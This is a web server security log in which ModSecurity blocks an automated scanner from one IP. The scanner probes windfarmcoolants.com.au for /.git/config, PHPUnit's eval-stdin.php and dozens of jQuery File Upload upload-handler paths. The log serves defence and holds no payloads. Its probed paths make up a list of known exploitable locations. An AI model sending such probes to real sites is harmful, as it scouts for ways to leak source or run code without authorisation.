[Mon May 25 06:24:34.926172 2026] [:error] [pid 9398:tid 9415] [client 170.64.221.168:48698] [client 170.64.221.168] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "ahN6ouhIu7KstzsCua-pLwAAAMs"]
[Mon May 25 06:24:35.076057 2026] [:error] [pid 21606:tid 21618] [client 170.64.221.168:37778] [client 170.64.221.168] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "ahN6o2swdp0RYkH5t9XAfAAAAUo"]
[Mon May 25 06:24:35.321811 2026] [:error] [pid 9398:tid 9418] [client 170.64.221.168:48714] [client 170.64.221.168] ModSecurity: Warning. Match of "pmFromFile userdata_wl_content_type" against "TX:0" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "17"] [id "210710"] [rev "5"] [msg "COMODO WAF: Request content type is not allowed by policy. Please update file userdata_wl_content_type.||windfarmcoolants.com.au|F|2"] [data "TX:0=text/plain"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "windfarmcoolants.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "ahN6o-hIu7KstzsCua-pMQAAAM4"]
[Mon May 25 06:24:35.372730 2026] [:error] [pid 9398:tid 9401] [client 170.64.221.168:48714] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/jquery-file-upload/server/php/"] [unique_id "ahN6o-hIu7KstzsCua-pMgAAAME"]
[Mon May 25 06:24:35.388279 2026] [:error] [pid 21606:tid 21612] [client 170.64.221.168:48740] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/jquery-file-upload/server/php/"] [unique_id "ahN6o2swdp0RYkH5t9XAgAAAAUQ"]
[Mon May 25 06:24:35.403236 2026] [:error] [pid 21606:tid 21620] [client 170.64.221.168:48750] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/jquery-file-upload/server/php/"] [unique_id "ahN6o2swdp0RYkH5t9XAgQAAAUw"]
[Mon May 25 06:24:35.405867 2026] [:error] [pid 9302:tid 9310] [client 170.64.221.168:48702] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jquery-file-upload/server/php/"] [unique_id "ahN6oy1RaFfTSnDQnqFRJgAAAAM"]
[Mon May 25 06:24:35.419830 2026] [:error] [pid 9302:tid 9322] [client 170.64.221.168:48754] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jquery-file-upload/server/php/"] [unique_id "ahN6oy1RaFfTSnDQnqFRJwAAAA8"]
[Mon May 25 06:24:35.434438 2026] [:error] [pid 9302:tid 9315] [client 170.64.221.168:48770] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jquery-file-upload/server/php/"] [unique_id "ahN6oy1RaFfTSnDQnqFRKAAAAAg"]
[Mon May 25 06:24:35.449863 2026] [:error] [pid 9302:tid 9324] [client 170.64.221.168:48726] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/blueimp-jQuery-File-Upload/server/php/"] [unique_id "ahN6oy1RaFfTSnDQnqFRKQAAABE"]
[Mon May 25 06:24:35.449863 2026] [:error] [pid 21606:tid 21609] [client 170.64.221.168:48764] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/galerie/server/php/"] [unique_id "ahN6o2swdp0RYkH5t9XAggAAAUE"]
[Mon May 25 06:24:35.494069 2026] [:error] [pid 9304:tid 9370] [client 170.64.221.168:48782] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/galerie/server/php/"] [unique_id "ahN6o-VEV2qpMC_1UzR_BwAAAIk"]
[Mon May 25 06:24:35.495643 2026] [:error] [pid 21606:tid 21630] [client 170.64.221.168:48790] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/blueimp-jQuery-File-Upload/server/php/"] [unique_id "ahN6o2swdp0RYkH5t9XAgwAAAVY"]
[Mon May 25 06:24:35.500050 2026] [:error] [pid 9398:tid 9427] [client 170.64.221.168:48806] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/server/php/"] [unique_id "ahN6o-hIu7KstzsCua-pMwAAANc"]
[Mon May 25 06:24:35.505183 2026] [:error] [pid 21606:tid 21623] [client 170.64.221.168:48812] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/server/php/"] [unique_id "ahN6o2swdp0RYkH5t9XAhAAAAU8"]
[Mon May 25 06:24:35.505183 2026] [:error] [pid 9398:tid 9405] [client 170.64.221.168:48814] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/blueimp-jQuery-File-Upload/server/php/"] [unique_id "ahN6o-hIu7KstzsCua-pNAAAAMU"]
[Mon May 25 06:24:35.507397 2026] [:error] [pid 21606:tid 21631] [client 170.64.221.168:48816] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/asset_admin/assets/plugins/jquery-file-upload/server/php/"] [unique_id "ahN6o2swdp0RYkH5t9XAhQAAAVc"]
[Mon May 25 06:24:35.510078 2026] [:error] [pid 9398:tid 9424] [client 170.64.221.168:48820] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/app-assets/data/jquery-file-upload/server/php/"] [unique_id "ahN6o-hIu7KstzsCua-pNQAAANQ"]
[Mon May 25 06:24:35.511834 2026] [:error] [pid 9398:tid 9403] [client 170.64.221.168:48828] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/libraries/jsupload/server/php/"] [unique_id "ahN6o-hIu7KstzsCua-pNgAAAMM"]
[Mon May 25 06:24:35.521934 2026] [:error] [pid 9302:tid 9329] [client 170.64.221.168:48838] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/plugins/jQuery-File-Upload/server/php/"] [unique_id "ahN6oy1RaFfTSnDQnqFRKgAAABY"]
[Mon May 25 06:24:35.527242 2026] [:error] [pid 9302:tid 9311] [client 170.64.221.168:48854] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fileupload/server/php/"] [unique_id "ahN6oy1RaFfTSnDQnqFRKwAAAAQ"]
[Mon May 25 06:24:35.534482 2026] [:error] [pid 9302:tid 9308] [client 170.64.221.168:48868] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/upload/server/php/"] [unique_id "ahN6oy1RaFfTSnDQnqFRLAAAAAE"]
[Mon May 25 06:24:35.536189 2026] [:error] [pid 9302:tid 9312] [client 170.64.221.168:48882] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/galerie/server/php/"] [unique_id "ahN6oy1RaFfTSnDQnqFRLQAAAAU"]
[Mon May 25 06:24:35.539805 2026] [:error] [pid 21606:tid 21610] [client 170.64.221.168:48894] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/blueimp-jQuery-File-Upload/server/php/"] [unique_id "ahN6o2swdp0RYkH5t9XAhgAAAUI"]
[Mon May 25 06:24:35.543035 2026] [:error] [pid 21606:tid 21617] [client 170.64.221.168:48910] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/server/php/"] [unique_id "ahN6o2swdp0RYkH5t9XAhwAAAUk"]
[Mon May 25 06:24:35.545350 2026] [:error] [pid 9302:tid 9319] [client 170.64.221.168:48912] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/blueimp-jQuery-File-Upload/server/php/"] [unique_id "ahN6oy1RaFfTSnDQnqFRLgAAAAw"]
[Mon May 25 06:24:35.547973 2026] [:error] [pid 9304:tid 9383] [client 170.64.221.168:48922] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/server/php/"] [unique_id "ahN6o-VEV2qpMC_1UzR_CAAAAJY"]
[Mon May 25 06:24:35.551719 2026] [:error] [pid 9302:tid 9313] [client 170.64.221.168:48928] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/asset_admin/assets/plugins/jquery-file-upload/server/php/"] [unique_id "ahN6oy1RaFfTSnDQnqFRLwAAAAY"]
[Mon May 25 06:24:35.553070 2026] [:error] [pid 9302:tid 9321] [client 170.64.221.168:48936] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/app-assets/data/jquery-file-upload/server/php/"] [unique_id "ahN6oy1RaFfTSnDQnqFRMAAAAA4"]
[Mon May 25 06:24:35.554030 2026] [:error] [pid 9398:tid 9425] [client 170.64.221.168:48952] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/libraries/jsupload/server/php/"] [unique_id "ahN6o-hIu7KstzsCua-pNwAAANU"]
[Mon May 25 06:24:35.564505 2026] [:error] [pid 9398:tid 9400] [client 170.64.221.168:48956] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/plugins/jQuery-File-Upload/server/php/"] [unique_id "ahN6o-hIu7KstzsCua-pOAAAAMA"]
[Mon May 25 06:24:35.569567 2026] [:error] [pid 9398:tid 9406] [client 170.64.221.168:48966] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fileupload/server/php/"] [unique_id "ahN6o-hIu7KstzsCua-pOQAAAMY"]
[Mon May 25 06:24:35.577530 2026] [:error] [pid 9304:tid 9368] [client 170.64.221.168:48982] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/upload/server/php/"] [unique_id "ahN6o-VEV2qpMC_1UzR_CQAAAIc"]
[Mon May 25 06:24:35.579246 2026] [:error] [pid 9304:tid 9361] [client 170.64.221.168:48992] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/global/plugins/server/php/"] [unique_id "ahN6o-VEV2qpMC_1UzR_CgAAAIA"]
[Mon May 25 06:24:35.586422 2026] [:error] [pid 9302:tid 9320] [client 170.64.221.168:48998] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/server/php/"] [unique_id "ahN6oy1RaFfTSnDQnqFRMQAAAA0"]
[Mon May 25 06:24:35.586685 2026] [:error] [pid 9398:tid 9407] [client 170.64.221.168:49010] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/blueimp-jQuery-File-Upload/server/php/"] [unique_id "ahN6o-hIu7KstzsCua-pOgAAAMc"]
[Mon May 25 06:24:35.588915 2026] [:error] [pid 9398:tid 9428] [client 170.64.221.168:49014] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/server/php/"] [unique_id "ahN6o-hIu7KstzsCua-pOwAAANg"]
[Mon May 25 06:24:35.595055 2026] [:error] [pid 9302:tid 9326] [client 170.64.221.168:49026] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/app-assets/data/jquery-file-upload/server/php/"] [unique_id "ahN6oy1RaFfTSnDQnqFRMgAAABM"]
[Mon May 25 06:24:35.595128 2026] [:error] [pid 9302:tid 9309] [client 170.64.221.168:49018] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/asset_admin/assets/plugins/jquery-file-upload/server/php/"] [unique_id "ahN6oy1RaFfTSnDQnqFRMwAAAAI"]
[Mon May 25 06:24:35.595989 2026] [:error] [pid 9398:tid 9404] [client 170.64.221.168:49028] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/libraries/jsupload/server/php/"] [unique_id "ahN6o-hIu7KstzsCua-pPAAAAMQ"]
[Mon May 25 06:24:35.605076 2026] [:error] [pid 9398:tid 9412] [client 170.64.221.168:49040] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/plugins/jQuery-File-Upload/server/php/"] [unique_id "ahN6o-hIu7KstzsCua-pPQAAAMg"]
[Mon May 25 06:24:35.611482 2026] [:error] [pid 9302:tid 9314] [client 170.64.221.168:49056] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fileupload/server/php/"] [unique_id "ahN6oy1RaFfTSnDQnqFRNAAAAAc"]
[Mon May 25 06:24:35.619487 2026] [:error] [pid 9398:tid 9414] [client 170.64.221.168:49062] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/upload/server/php/"] [unique_id "ahN6o-hIu7KstzsCua-pPgAAAMo"]
[Mon May 25 06:24:35.620586 2026] [:error] [pid 9302:tid 9316] [client 170.64.221.168:49072] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/global/plugins/server/php/"] [unique_id "ahN6oy1RaFfTSnDQnqFRNQAAAAk"]
[Mon May 25 06:24:35.664064 2026] [:error] [pid 9302:tid 9331] [client 170.64.221.168:49084] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/global/plugins/server/php/"] [unique_id "ahN6oy1RaFfTSnDQnqFRNgAAABg"]
[Mon May 25 06:24:35.664064 2026] [:error] [pid 9398:tid 9423] [client 170.64.221.168:49096] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/plugins/js/server/php/"] [unique_id "ahN6o-hIu7KstzsCua-pPwAAANM"]
[Mon May 25 06:24:35.706562 2026] [:error] [pid 9302:tid 9328] [client 170.64.221.168:49098] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/plugins/js/server/php/"] [unique_id "ahN6oy1RaFfTSnDQnqFRNwAAABU"]
[Mon May 25 06:24:35.708151 2026] [:error] [pid 9398:tid 9402] [client 170.64.221.168:49102] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/global/plugins/jquery-file-upload/server/php/"] [unique_id "ahN6o-hIu7KstzsCua-pQQAAAMI"]
[Mon May 25 06:24:35.712532 2026] [:error] [pid 9398:tid 9420] [client 170.64.221.168:49112] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/plugins/js/jquery-file-upload/server/php/"] [unique_id "ahN6o-hIu7KstzsCua-pQgAAANA"]
[Mon May 25 06:24:35.727147 2026] [:error] [pid 9302:tid 9323] [client 170.64.221.168:49126] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/plugins/server/php/"] [unique_id "ahN6oy1RaFfTSnDQnqFROAAAABA"]
[Mon May 25 06:24:35.748667 2026] [:error] [pid 9398:tid 9416] [client 170.64.221.168:49138] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/plugins/js/server/php/"] [unique_id "ahN6o-hIu7KstzsCua-pQwAAAMw"]
[Mon May 25 06:24:35.750592 2026] [:error] [pid 9302:tid 9327] [client 170.64.221.168:49140] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/global/plugins/jquery-file-upload/server/php/"] [unique_id "ahN6oy1RaFfTSnDQnqFROQAAABQ"]
[Mon May 25 06:24:35.753943 2026] [:error] [pid 9398:tid 9421] [client 170.64.221.168:49144] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/plugins/js/jquery-file-upload/server/php/"] [unique_id "ahN6o-hIu7KstzsCua-pRAAAANE"]
[Mon May 25 06:24:35.769149 2026] [:error] [pid 9302:tid 9310] [client 170.64.221.168:49146] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/plugins/server/php/"] [unique_id "ahN6oy1RaFfTSnDQnqFROgAAAAM"]
